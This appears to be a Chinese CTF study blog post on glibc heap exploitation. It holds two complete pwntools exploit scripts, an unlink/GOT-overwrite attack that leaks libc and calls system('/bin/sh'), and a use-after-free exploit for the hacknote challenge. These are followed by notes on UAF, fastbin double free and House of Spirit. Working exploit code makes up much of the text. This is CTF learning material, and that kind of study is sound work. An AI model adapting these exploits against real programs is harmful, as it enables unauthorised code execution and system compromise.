from ctypes import *
from struct import pack
from LibcSearcher import LibcSearcher

filename = "./pwn"
libcname="/home/ububtu/Desktop/WorkStation/2.23-0ubuntu3_amd64/libc.so.6"

p=process(filename)
elf = ELF(filename)
libc=ELF(libcname)


s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, data)
sas     = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda                    :p.recv()
rn      = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))

def exp_init(arch,os,debug):
    if(arch==0):
        context.arch="i386"
    else:
         context.arch="amd64"
    if(os==0):
        context.os="linux"
    if(debug==1):
        context.log_level="debug"

def debug(cmd=""):
    gdb.attach(p, cmd)
    pause()

def creat_chunk(size):
    sls(1)
    sls(size)
    ru(b'OK\n')

def edit_chunk(chunk_idx,content_size,content):
    sls(2)
    sls(chunk_idx)
    sls(content_size)
    ss(content)
    ru(b'OK\n')

def edit_chunk_byte(chunk_idx,content_size,content):
    sls(2)
    sls(chunk_idx)
    sls(content_size)
    s(content)
    ru(b'OK\n')

def delet_chunk(idx):
    sls(3)
    sls(idx)

exp_init(1,0,1)

free_got=elf.got['free']
free_plt=elf.plt['free']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
atoi_got=elf.got['atoi']
atoi_plt=elf.plt['atoi']

chunk_list=0x602140
target_add=chunk_list+0x10

creat_chunk(18)
creat_chunk(0x30)
creat_chunk(0x80)
payload=p64(0)+p64(0x20)+p64(target_add-0x18)+p64(target_add-0x10)+p64(0x20)
payload=payload.ljust(0x30,b'a')
payload+=p64(0x30)+p64(0x90)
edit_chunk_byte(2,len(payload),payload)
delet_chunk(3)
ru(b'OK\n')

payload=b'a'*8+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit_chunk_byte(2,len(payload),payload)

payload=p64(puts_plt)#把free_got处指针覆盖为puts_plt
edit_chunk_byte(0,len(payload),payload)
delet_chunk(1)
# puts_add=p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')
# puts_add=u64(puts_add)
puts_add=uu64(p.recvuntil('\nOK\n', drop=True))
leak("puts",puts_add)

libc_base=puts_add-libc.symbols['puts']
binsh_add=libc_base+next(libc.search('/bin/sh'))
system_add=libc_base+libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_add))
log.success('system addr: ' + hex(system_add))
payload=p64(system_add)
edit_chunk_byte(2,len(payload),payload)
#s(p64(binsh_add))
ss("/bin/sh")
# debug()

p.interactive()

UAF

好好说话之 Use After Free-CSDN 博客
Use After Free - CTF Wiki

原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

例题

hitcon-training-hacknote

先申请两个 struct_chunk, 同时 struct_chunk 的 userdata 的第二个(最后一个)指向了一个 content_chunk.

注意 struct_chunk 的大小为 8 字节, content_chunk 大小由 content 大小确定, 所以我们不能让 content 为 8 字节, 不然后面拿堆的时候会把 content_chunk 再拿到.

按顺序 free 掉 struct_chunk0 和 struct_chunk1, 然后申请内容为 p32(magic)的 node.

此时这个 note2 的 struct_chunk 是原来的 struct_chunk1 空间, content_chunk 是原来的 struct_chunk0 空间.notelist [0] 是新 node

然后 p32(magic)会存储在 content_chunk 的 userdata 前八位, 也就是 struct_chunk0 的 userdata 的前八位.这个刚好是 struct_chunk0 的函数指针的部分.

此时调用 printnote(0)会执行后门函数

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
from LibcSearcher import LibcSearcher

filename = "./hacknote"
libcname="/lib/i386-linux-gnu/libc.so.6"

p=process(filename)
elf = ELF(filename)
libc=ELF(libcname)


s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))

def exp_init(arch,os,debug):
    if(arch==0):
        context.arch="i386"
    else:
         context.arch="amd64"
    if(os==0):
        context.os="linux"
    if(debug==1):
        context.log_level="debug"

def debug(cmd=""):
    gdb.attach(p, cmd)
    pause()

def add_note(size,content):
    sls(1)
    sls(size)
    sls(content)

def add_note_byte(size,content):
    sls(1)
    sls(size)
    sl(content)


def delete_note(idx):
    sls(2)
    sls(idx)

def print_note(idx):
    sls(3)
    sls(idx)

exp_init(0,0,1)

magic=0x08048986

add_note(32,"aaaa")
add_note(32,"aaaa")

delete_note(0)
delete_note(1)

add_note_byte(8,p32(magic))
print_note(0)

p.interactive()

Fastbin Attack

Double Free

好好说话之Fastbin Attack(1):Fastbin Double Free_pwn 好好说话-CSDN博客
Fastbin Attack - CTF Wiki

原理

  1. fastbin 的堆块被释放后 next_chunkpre_inuse 位不会被清空
  2. free()fastbin chunk 的检查仅验证 当前释放的 chunk 是否与链表头部 chunk 相同(即 p != fastbin->fd),而不会遍历整个链表。

利用步骤

典型的利用步骤:

  1. 释放 chunk A(链表:A)。
  2. 释放 chunk B(链表:B -> A)。
  3. 再次释放 A(链表:A -> B -> A,形成循环)。
  4. 后续分配时,第一次 malloc 返回 A,第二次 malloc 仍可能返回 A,导致两块不同指针指向同一内存。

总结

通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果 (首先要通过验证),这就相当于任意地址写任意值的效果。

House Of Spirit

原理

House of Spirit这种技术的核心在于在目标位置处伪造fastbin chunk,并将其释放,从而达到分配指定地址的chunk的目的

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。具体原因看Double Free的原理
posted @ 2025-01-19 12:32  r_0xy  阅读(55)  评论(0)    收藏  举报